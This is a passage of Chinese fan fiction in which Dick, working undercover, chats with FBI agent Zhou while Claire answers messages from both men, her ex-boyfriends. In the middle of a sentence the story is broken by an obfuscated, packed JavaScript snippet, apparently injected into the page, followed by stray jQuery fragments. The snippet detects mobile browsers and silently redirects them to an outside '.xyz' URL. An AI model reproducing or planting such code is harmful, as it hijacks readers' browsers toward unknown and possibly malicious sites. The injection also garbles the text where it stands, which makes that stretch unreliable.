来接待客人的“招待”，难怪探长满腔满腹的不情愿。
迪克头昏脑胀地听完案情介绍，案件经过他了然于胸，但金探员和索姆斯探长针锋相对，加上派翠克偶尔挑衅的插嘴，办公室的气氛几乎凝滞。
迪克叹了口气，他旁边是那位亚裔面孔的探员周。对方是办公室里少数在冲突中不选边站的人。
“办公室里的暖气开得太足了，有点缺氧。”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050715|162798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也这么觉得，”迪克苦笑一下，把战战兢兢的小警员形象表演得活灵活现，他向周递话，“要不要出去透会儿气？”
“反正他们也没讨论出有用的结论，”周说，“你不抽烟吗？”
“不抽。”
周严肃的脸上挤出一个很难看见的笑容，“不抽烟有益健康，你是一个少见的警察。”
“残害健康的部分我用油炸面包圈代替了。我可是警察，每天的工作就是骑斑马（警车）和吃甜甜圈。”
迪克自认为说了一个幽默的双关语笑话，而周只是疑惑地看着他。
没人理解他的幽默。
总是这样。
迪克讪讪道：“楼道在这边。”
两人离开办公室，到楼道里透风。迪克呼吸着灰尘味的冷空气，掏出手机。
消息发给克莱尔。
“你的伤口恢复得怎么样，记得去医院看看，不要勉强自己行动。”
他当然知道克莱尔不能去看医生，医院肯定会把她缺失的心脏称为“医学奇迹”。但这同样不在“迪克应该知道”的名单上。
不一会儿，他收到了克莱尔的回复。
“谢谢你的关心，我感觉不坏。”她只字不提医院。
迪克回复了一个“：）”。完成一段表演，他看向对面的周，他也在发消息。
察觉到迪克的目光，周抬起头。
迪克轻松一笑，“在和你的女朋友发消息吗？”
FBI常年忙碌，探员抽空向家属报备一点也不奇怪。
周的嘴唇微微抿了抿，“是前女友。”
迪克表情微僵，他心中升起一丝同病相怜的怅然，又不方便打探他人的隐私。
他怜爱地向周微笑，多看了一眼克莱尔的回复。
她没再回复。
跨越半个布鲁德海文，克莱尔正坐在一处牙医诊所的接待室里。
牙医在本国是高薪行业，不然一个牙医也买不起她口袋里昂贵的宝石吊坠。
前台的接待已经替她联系了诊所的主治医师，等待的间隙，克莱尔抽空看了看震动的手机。
通讯耳机里，罗宾打着哈欠问：“你在玩手机？”
“回消息。”克莱尔答道，“你的耳朵有点太灵了，小鸟。”
罗宾得意道：“我很熟悉手指触碰电子屏幕的声音。”
“真厉害，你得到了我诚心诚意的夸奖。”克莱尔说。
她忙着回复前男友的消息。
两个。
“谢谢你的关心，我感觉不坏。”
敷衍完一个，她去敷衍另一个。
“我和重案组到布鲁德海文调查案件，没有在布港办公室见到你。你在布鲁德海文吗，我们要不要出来见一面，共进晚餐？”
克莱尔简单思考了两秒，回道：“今晚我没有时间，不过你走之前，我一定实现晚餐的约定。”
她按下“发送”，消息飞向备注为“周”的联系人。
收到消息，周飞快地回了一句话。
“没问题，有空联系。”
他收起手机，友好地与迪克相视一笑，两人结束了短暂的休息，并肩回到办公室。